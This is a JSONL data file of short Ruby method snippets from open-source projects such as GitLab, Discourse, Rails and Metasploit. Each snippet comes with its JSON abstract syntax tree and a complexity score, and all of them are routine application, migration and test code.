{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/issuable_finder.rb","start_line":349,"raw_source":"def accessible_projects\n    params.projects\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"accessible_projects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"projects\"]}]}","id":"49566fdd-63b0-4407-b01c-1a85d9d6e6c9"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/models/chat/message.rb","start_line":172,"raw_source":"def only_uploads?\n      self.message.blank? && self.uploads.present?\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"only_uploads?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"message\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"uploads\"]},\"present?\"]}]}]}","id":"e46e24a0-a5da-4e33-9f9d-2a12f6ef211b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/kubernetes.rb","start_line":31,"raw_source":"def api_token\n    @api_token || datastore['TOKEN']\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"api_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@api_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TOKEN\"]}]}]}]}","id":"67ddd4fa-3c28-493b-87f4-c80cd91e1bfa"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/admin/existing_domain_block_error_serializer.rb","start_line":8,"raw_source":"def error\n    I18n.t('admin.domain_blocks.existing_domain_block', name: existing_domain_block.domain)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.domain_blocks.existing_domain_block\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"existing_domain_block\"]},\"domain\"]}]}]}]}]}","id":"ead15b0d-ce3f-4118-b209-974144a966f3"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20210812033033_add_multipart_and_size_columns_to_external_upload_stubs.rb","start_line":4,"raw_source":"def up\n    add_column :external_upload_stubs, :multipart, :boolean, default: false, null: false\n    add_column :external_upload_stubs, :external_upload_identifier, :string, null: true\n    add_column :external_upload_stubs, :filesize, :bigint\n\n    add_index :external_upload_stubs, :external_upload_identifier\n\n    # this feature is not actively used yet so this will be safe, also the rows in this\n    # table are regularly deleted\n    DB.exec(\"UPDATE external_upload_stubs SET filesize = 0 WHERE filesize IS NULL\")\n\n    change_column_null :external_upload_stubs, :filesize, false\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"external_upload_stubs\"]},{\"type\":\"sym\",\"children\":[\"multipart\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"external_upload_stubs\"]},{\"type\":\"sym\",\"children\":[\"external_upload_identifier\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"external_upload_stubs\"]},{\"type\":\"sym\",\"children\":[\"filesize\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"external_upload_stubs\"]},{\"type\":\"sym\",\"children\":[\"external_upload_identifier\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"str\",\"children\":[\"UPDATE external_upload_stubs SET filesize = 0 WHERE filesize IS NULL\"]}]},{\"type\":\"send\",\"children\":[null,\"change_column_null\",{\"type\":\"sym\",\"children\":[\"external_upload_stubs\"]},{\"type\":\"sym\",\"children\":[\"filesize\"]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"ac8951c7-6319-4e65-9b01-70f25b104ece"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/controllers/application_controller.rb","start_line":53,"raw_source":"def render_error(message:, status:, details: nil)\n    error_response = {\n      errors: [\n        {\n          status: Rack::Utils::SYMBOL_TO_STATUS_CODE[status],\n          title: \"Error\",\n          detail: message\n        }\n      ]\n    }\n    error_response[:errors][0][:source] = details if details\n    render json: error_response, status:\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"render_error\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"message\"]},{\"type\":\"kwarg\",\"children\":[\"status\"]},{\"type\":\"kwoptarg\",\"children\":[\"details\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_response\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Utils\"]},\"SYMBOL_TO_STATUS_CODE\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"status\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"detail\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"details\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_response\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"errors\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"details\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"lvar\",\"children\":[\"error_response\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}]}]}","id":"e659e936-059c-4165-98a4-6959a564f7e5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/timestamp_test.rb","start_line":228,"raw_source":"def change_name\n          return if new_record?\n\n          self.name = \"Jack Bauer\"\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_record?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name=\",{\"type\":\"str\",\"children\":[\"Jack Bauer\"]}]}]}]}","id":"72f45f6f-2ca7-486d-adb4-0b147ff958a6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/api.rb","start_line":131,"raw_source":"def with_retry_on_too_many_requests\n        response = nil\n\n        Support::Retrier.retry_until(log: false, message: \"Retrying upon receiving 429 HTTP status\") do\n          response = yield\n\n          if response.code == HTTP_STATUS_TOO_MANY_REQUESTS\n            response_wait = response.headers[:retry_after].to_i\n            wait_seconds = response_wait <= 0 ? 60 : response_wait\n\n            QA::Runtime::Logger.warn(\"Received 429 - Too many requests. Waiting for #{wait_seconds} seconds.\")\n\n            sleep wait_seconds\n          end\n\n          response.code != HTTP_STATUS_TOO_MANY_REQUESTS\n        end\n\n        response\n      end","complexity_score":25.38,"ast_json":"{\"type\":\"def\",\"children\":[\"with_retry_on_too_many_requests\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"Retrier\"]},\"retry_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Retrying upon receiving 429 HTTP status\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"HTTP_STATUS_TOO_MANY_REQUESTS\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response_wait\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"headers\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"retry_after\"]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"wait_seconds\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_wait\"]},\"<=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"int\",\"children\":[60]},{\"type\":\"lvar\",\"children\":[\"response_wait\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"Logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Received 429 - Too many requests. Waiting for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait_seconds\"]}]},{\"type\":\"str\",\"children\":[\" seconds.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"lvar\",\"children\":[\"wait_seconds\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]},\"!=\",{\"type\":\"const\",\"children\":[null,\"HTTP_STATUS_TOO_MANY_REQUESTS\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}","id":"b7da69b9-2af5-4b18-81a2-b2be03f8da52"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/message_pack.rb","start_line":53,"raw_source":"def encode(input)\n        if input.is_a?(Array)\n          input.map { |record| encode_record(record) }\n        elsif input\n          encode_record(input)\n        end\n      end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"encode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"send\",\"children\":[null,\"encode_record\",{\"type\":\"lvar\",\"children\":[\"record\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"send\",\"children\":[null,\"encode_record\",{\"type\":\"lvar\",\"children\":[\"input\"]}]},null]}]}]}","id":"b1b01c75-3705-46a9-b72a-3e9fbcc8fd73"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/migration/ensure_factory_for_table.rb","start_line":46,"raw_source":"def on_send(node)\n          # Migrations for EE models don't have factories in CE.\n          return if !ee? && disabled_comment_absent?\n\n          table_definition(node) do |table_name_node, table_name|\n            # Partioned tables are prefix with `p_`.\n            unless factory?(table_name.to_s.delete_prefix('p_'))\n              msg = format(MSG, name: table_name)\n              add_offense(table_name_node, message: msg)\n            end\n          end\n        end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ee?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"disabled_comment_absent?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_definition\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name_node\"]},{\"type\":\"arg\",\"children\":[\"table_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"factory?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]},\"to_s\"]},\"delete_prefix\",{\"type\":\"str\",\"children\":[\"p_\"]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"table_name_node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}]}]}]}]}","id":"11583fe0-26e4-4ad9-b107-50de965faf19"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/inverse_methods.rb","start_line":175,"raw_source":"def possible_class_hierarchy_check?(lhs, rhs, method)\n          CLASS_COMPARISON_METHODS.include?(method) &&\n            (camel_case_constant?(lhs) || (rhs.size == 1 && camel_case_constant?(rhs.first)))\n        end","complexity_score":11.58,"ast_json":"{\"type\":\"def\",\"children\":[\"possible_class_hierarchy_check?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lhs\"]},{\"type\":\"arg\",\"children\":[\"rhs\"]},{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CLASS_COMPARISON_METHODS\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"camel_case_constant?\",{\"type\":\"lvar\",\"children\":[\"lhs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhs\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"camel_case_constant?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhs\"]},\"first\"]}]}]}]}]}]}]}]}","id":"8c376cf6-269b-461a-bcdc-8ded296b4b27"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/web_services/servlet/web_servlet.rb","start_line":43,"raw_source":"def self.report_web_vuln\n    lambda {\n      warden.authenticate!\n      job = lambda { |opts|  get_db().report_web_vuln(opts) }\n      exec_report_job(request, &job)\n    }\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"report_web_vuln\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warden\"]},\"authenticate!\"]},{\"type\":\"lvasgn\",\"children\":[\"job\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_db\"]},\"report_web_vuln\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"exec_report_job\",{\"type\":\"send\",\"children\":[null,\"request\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]}]}]}]}]}]}","id":"08100965-1ece-4208-b4af-05020f021fcd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/admin/deploy_keys_controller.rb","start_line":55,"raw_source":"def create_params\n    params.require(:deploy_key).permit(:key, :title, :expires_at)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"deploy_key\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"expires_at\"]}]}]}","id":"ed4fd921-e624-4e79-acd3-d726e08dcd3e"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/agents/destroy_job.rb","start_line":32,"raw_source":"def unassign_conversations(account, user)\n    # rubocop:disable Rails/SkipsModelValidations\n    user.assigned_conversations.where(account: account).in_batches.update_all(assignee_id: nil)\n    # rubocop:enable Rails/SkipsModelValidations\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"unassign_conversations\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"assigned_conversations\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"lvar\",\"children\":[\"account\"]}]}]}]},\"in_batches\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assignee_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"a23f2441-2c6f-43bb-88bf-2ba02f14300b"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_bundle_pruner.rb","start_line":11,"raw_source":"def test_paths_to_require_after_prune_is_correctly_built_for_no_extra_deps\n    skip_if :no_bundler\n\n    dirs = bundle_pruner.send(:paths_to_require_after_prune)\n\n    assert_equal(2, dirs.length)\n    assert_equal(File.join(PROJECT_ROOT, \"lib\"), dirs[0]) # lib dir\n    assert_operator dirs[1], :end_with?, PUMA_VERS # native extension dir\n    refute_match(%r{gems/minitest-[\\d.]+/lib$}, dirs[2])\n  end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_paths_to_require_after_prune_is_correctly_built_for_no_extra_deps\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_if\",{\"type\":\"sym\",\"children\":[\"no_bundler\"]}]},{\"type\":\"lvasgn\",\"children\":[\"dirs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bundle_pruner\"]},\"send\",{\"type\":\"sym\",\"children\":[\"paths_to_require_after_prune\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dirs\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"const\",\"children\":[null,\"PROJECT_ROOT\"]},{\"type\":\"str\",\"children\":[\"lib\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dirs\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dirs\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"sym\",\"children\":[\"end_with?\"]},{\"type\":\"const\",\"children\":[null,\"PUMA_VERS\"]}]},{\"type\":\"send\",\"children\":[null,\"refute_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"gems/minitest-[\\\\d.]+/lib$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dirs\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}","id":"cb4c7788-a877-4afa-b4e0-7f9913fd58b1"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/ast/sexp_extensions/arguments.rb","start_line":16,"raw_source":"def plain_name\n          name.to_s\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"plain_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"to_s\"]}]}","id":"7cfac566-0425-40ad-a85c-d30fb33a1358"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/source_only_buffer_agent.rb","start_line":84,"raw_source":"def handle_emits_error(tag, es, error)\n      error_info = {error: error, location: (error.backtrace ? error.backtrace.first : nil), tag: tag}\n      log.warn \"SourceOnlyBufferAgent: emit transaction failed:\", error_info\n      log.warn_backtrace\n    end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_emits_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"es\"]},{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"backtrace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"backtrace\"]},\"first\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"warn\",{\"type\":\"str\",\"children\":[\"SourceOnlyBufferAgent: emit transaction failed:\"]},{\"type\":\"lvar\",\"children\":[\"error_info\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"warn_backtrace\"]}]}]}","id":"1b491651-0428-4a50-98f2-3ef95392a7f8"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/base_test.rb","start_line":99,"raw_source":"def test_controller_path\n    assert_equal \"empty\", EmptyController.controller_path\n    assert_equal EmptyController.controller_path, EmptyController.new.controller_path\n    assert_equal \"submodule/contained_empty\", Submodule::ContainedEmptyController.controller_path\n    assert_equal Submodule::ContainedEmptyController.controller_path, Submodule::ContainedEmptyController.new.controller_path\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_controller_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"empty\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmptyController\"]},\"controller_path\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmptyController\"]},\"controller_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmptyController\"]},\"new\"]},\"controller_path\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"submodule/contained_empty\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Submodule\"]},\"ContainedEmptyController\"]},\"controller_path\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Submodule\"]},\"ContainedEmptyController\"]},\"controller_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Submodule\"]},\"ContainedEmptyController\"]},\"new\"]},\"controller_path\"]}]}]}]}","id":"738d1c94-1a8f-44ae-bc2b-793cba20cee7"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database/schema/validation/json_schema_validator.rb","start_line":21,"raw_source":"def load_json_schema\n      schema_path = File.join(::Migrations.root_path, \"config\", \"json_schemas\", \"db_schema.json\")\n      JSON.load_file(schema_path)\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"load_json_schema\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"schema_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Migrations\"]},\"root_path\"]},{\"type\":\"str\",\"children\":[\"config\"]},{\"type\":\"str\",\"children\":[\"json_schemas\"]},{\"type\":\"str\",\"children\":[\"db_schema.json\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"load_file\",{\"type\":\"lvar\",\"children\":[\"schema_path\"]}]}]}]}","id":"73e76b5c-7832-43a3-a386-de78a1e8745f"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/application/configuration.rb","start_line":407,"raw_source":"def log_level=(level)\n        @log_level = level\n        @broadcast_log_level = level\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"log_level=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"level\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@log_level\",{\"type\":\"lvar\",\"children\":[\"level\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@broadcast_log_level\",{\"type\":\"lvar\",\"children\":[\"level\"]}]}]}]}","id":"5bceaf78-1ab6-4132-adb7-695d858150b9"}
